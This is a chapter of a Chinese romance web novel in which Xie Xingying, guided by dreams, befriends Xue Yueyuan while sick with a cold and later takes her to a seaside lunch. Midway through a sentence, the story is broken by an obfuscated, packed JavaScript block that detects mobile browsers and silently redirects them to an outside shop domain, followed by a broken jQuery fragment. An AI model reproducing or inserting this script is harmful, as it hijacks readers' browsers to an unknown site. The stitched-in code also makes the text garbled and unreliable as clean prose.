被他这双含情脉脉的眼眸望着,薛月圆眨了两下眼,垂下眼帘避开他的视线。
她从行囊中拿出那两瓶瓷瓶来,递给谢星影,说道:“这是师娘配的专门用来抵御风寒的药丸,你若是以后觉得自己也许要生病了,就赶紧吃一粒。”
“味道甜甜的,不难吃。”说完之后,她专门补上一句。
谢星影见她一副没有被迷惑到的模样,心中闪过一丝失望。
不过这也是很正常的事情,他已经做好了心里准备,现在调整起来也十分迅速。
这样看来,梦中的他还要额外让她不计前嫌,也是一件不容易的事情呢,谢星影讽刺般地在心中想着。
不过他是应该谢谢这个梦境,若不是半年前他忽然做起了这古怪的梦,或许他这一辈子也不会认识薛月圆,更不会在真正和她相见之前就已然熟悉她来。
谢星影眼眸微动,他正欲开口,又赶忙在开口前咳嗽了两下。
“谢小郎君,你抓的药还管用吗?要喝些水吗?”薛月圆一听见他咳嗽,就立刻询问道。
她也不等他开口回答问题,直接绕到一旁的桌子旁拎起茶壶斟了盏水,然后递过去。
谢星影向她道谢,听见她唉了一声,说道:“你染上这风寒,说到底也有我昨日没有坚持让你带伞的缘故。”
说起来也奇妙,明明是在说这样愧疚的话,但谢星影仔细瞧了瞧薛月圆的眉眼,是一丝哀怨之情也没看出来。
她只是在陈述一件事情:“这槲州的天气就是如此多变的,谢小郎君刚从京城来不知道,傍晚还是阳天,可等天黑下来了就立刻落雨这样的事情也是时有发生。”
“所以,下一次若是遇到相同的情况,我一定会比昨日更加强硬地提醒你的。”薛月圆边说,边点着头。
谢星影默默听着,含糊地嗯了一声。
“这几日谢小郎君就好好休息,好好吃药,千万别着凉了。”薛月圆从自己为数不多的风寒经历和师娘对病人关照的话语中努力搜罗来两句,她说完后问道,“你身边是不是有两个小厮呀?”
谢星影又嗯了一声,他看见她似是放心地舒展了眉眼:“那就好,起码这两日你患病的时候不必自己去厨房熬药了。”
闻言,谢星影弯起眼眸,笑了一下。
薛月圆也朝他笑了笑,她听见谢星影的声音从被帕子遮掩的口中传来:“小月姑娘,你是我来到槲州结识的第一个好友”
闻言,薛月圆不明就里,迟疑着点了点头。
“那我们能亲近一些吗?”谢星影说完,将眼帘慢慢垂下来,纤长的睫毛遮盖住了眼底闪烁的神色,他的声音落寞,“不瞒小月姑娘说,其实我从小到大都没什么朋友,来到槲州之后,能认识小月姑娘这样好的姑娘,真是三生有幸。”
他懒得正眼瞧人,能被他正眼瞧的他又不喜欢,可不就是没有朋友。
能做到这个古怪的梦……不对,谢星影觉得,他应该叫它美妙的梦。能做到这个美妙的梦,真是三生有幸。
他已经不为自己模仿着梦境中那个他假模假样的温柔而不虞了,因为他认为,即便没有那个梦境,在他真正了解薛月圆这个姑娘之后,他也会做出温柔的模样来引她心动的。
尽管他起初作为局外人,能看出来薛月圆并非是因为他温柔的假样而动心,可他不敢赌。
她实在是,让他不敢、也不愿去赌。
或许只有两人真正心意相通之后,他才能够小心地一点一点地把真实的自己展露给她看。
谢星影被帕子掩盖的面上浮现出些微笑意,但这几丝笑意完完全全地笼罩在手帕底下,从薛月圆的视角看,他还是一副垂着眼眸落寞的模样。
她上前两步,张了张口,轻声说道:“当然可以了,不如你以后叫我小月,我唤你阿影如何?”
心里像是藏了蜜一样,甜滋滋的,让谢星影忍不住舔舔唇瓣:“好、小月。”
他这样子说话,让薛月圆险些以为这三个字是连在一起的。她的眼睫颤了颤,清了清嗓子。
屋内一时间沉默下来,但薛月圆没动,仍然站在桌旁。
谢星影不想让她离开,可是他又实在担心自己会过了病气给她,只好忍痛说道:“这两日我一定好好休息,早些康复,等我痊愈了,我们再去吃一次,好吗?”
薛月圆点点头,又叮嘱了他几句,随后离开了。
望着她的背影消失在庭院门口,谢星影深吸一口气,安慰自己已经很好了。
不然她若是因为他而风寒,那更让他难受。
这边薛月圆却没有什么别的感觉,她知道自己身体一向健康,不会因为和病人在一起久了就被过病气。
她本来也觉得发生这样的事情,不管怎样自己都要去看看,所以她肯定会来看他的。
见了他一面,发现他的状态还不错,薛月圆就放心了。
她把旁的什么心思全部扔到脑后,这两日除了去镖局做事,就是在厨房里帮师娘打下手的时候,请师娘多炖一点汤,她好装起来送给谢星影去。
过了大概两三日,谢星影的风寒就已经痊愈了。
他痊愈之后的第一件事,便是邀薛月圆一同去用午膳。
“上次我们一起吃晚膳,结果回来后我就病倒了,那岂不是给小月留下了一个不好的印象。”谢星影略带玩笑般地说道。
薛月圆也随着他的笑容笑了起来:“可以呀,反正我知道那边好几家好吃的馆子。”
她说完之后,扯了扯他的衣袖连忙说道:“上次是阿影请我吃的,这次可千万不能让你再破费了,这次我请你。”
谢星影不愿意,试图混淆起来:“哪有什么请不请的,小月,我……”
“可不是你说的我们是朋友吗?”薛月圆抬眼,眼眸干净,从中又藏着一丝灵动,“我们是朋友的话,就要你来我往才对。”
她这样一说,谢星影是不敢再多说了,只好摇摇头道:“我说我愿意多付钱,你怎么还不高兴了呢?若是旁人听闻了这种话,怕是早就要高兴地现在就拉着我去用膳了。”
他当然知道薛月圆是个小财迷,他也知道她对好友,甚至对熟识之人向来很大方,不然当时也不会说要分摊他的房费了。
谢星影就是故意说这个话的,他想多听听她说他们是好友。
他对薛月圆果然了解透彻,薛月圆闻言,笑得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766589|209717||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眉眼弯弯,她十分认真地说道:“那是因为我们是朋友呀,倘若是真心朋友的话,一定不会占这种小便宜的,我对你正是真心的。”
此话一出,谢星影就从方才还在沾沾自喜的喜悦转换到认为他自己在给自己使绊子。
她怎么能,如此直接。
还说什么她对他是真心的。
谢星影已经完全忘了自己在三个呼吸前还是打算和她慢慢从友人做起来的,他也忘了他说出那句话的时候心中是想多听听她说她和他是好友的。
总之,在薛月圆望着他,眼眸中倒映着他的身影,说出来这句话的时候,谢星影满脑子都是她说的那句“我对你正是真心的”了。
“阿影?”薛月圆眼含关切,“你在看什么呢?”
谢星影眨了一下眼睛,缓缓抿出一个笑容:“无事,恰好恍惚了一下。”
“恍惚什么?和我说话还能恍惚?”薛月圆佯装不悦,但很快她就破功了。
谢星影望着她笑眼盈盈的样子,心情变得十分平静。一阵春风吹过,拂起来他的发丝,暖洋洋的。
他的眼眸温柔,面带浅浅的笑意,似有种奇异的氛围萦绕在两人身旁,让薛月圆渐渐收敛起脸上的笑意。
她抿了抿唇,轻轻咳嗽一声,眼睛飞快地向下看了两下:“那……那我就等会来找你?”
“不必小月来找我,等到了用膳的时候,我自会在你家门口等你。”谢星影说道。
得了他这一句话,薛月圆发觉自己一个上午都会时不时地往大门那里看两眼。
就在她第三次向大门口看去的时候,从虚掩门缝中看到了站在外面的谢星影。
男子一袭浅色长衫,长身玉立,她看过去的时候他正欲敲门。
薛月圆连忙放下手中的活,快走几步,走到门口拉开大门。
这次,谢星影没有再做出向前敲门的动作,而是十分自然的放下手,朝薛月圆温温柔柔地说道:“小月,我来接你用午膳。”
……
两人再次走回西边的街道上,因着正值午膳时分,这街道上来来往往的百姓也不少。
虽说大部分只是路过,也没有进去坐下来用膳,但谢星影还是感到有些拥挤。
薛月圆看出来了,脚步一转,道:“今日我们换个地方,怎么样?”
谢星影只以为她不想在这里吃了,顺着她应了声好。
直到薛月圆带他一路走到了海岸边,看着岸边那一个一个独立的小亭子,谢星影才略带惊讶地扬扬眉毛。
“槲州靠海,吃海货多,这边就是专门吃海货的地方,也算是特色。”薛月圆说完,随后问道,“阿影,你可吃得惯?”
见谢星影应下来之后,薛月圆放松地舒了口气:“那就好,要想吃地道的菜,几乎都是这种小馆子。我见西边那条街上人实在太多了,担心你不喜欢,这才忽然想到来这边的。这边大多是一个一个的小亭子,店里坐好的菜肴直接端来亭子里吃,还能看看那边捕鱼的渔船呢。”
薛月圆很是高兴地说道,而谢星影只听得见她口中的那句“担心你不喜欢”。
他不由得甜蜜地想,小月其实也一直关注着他呢。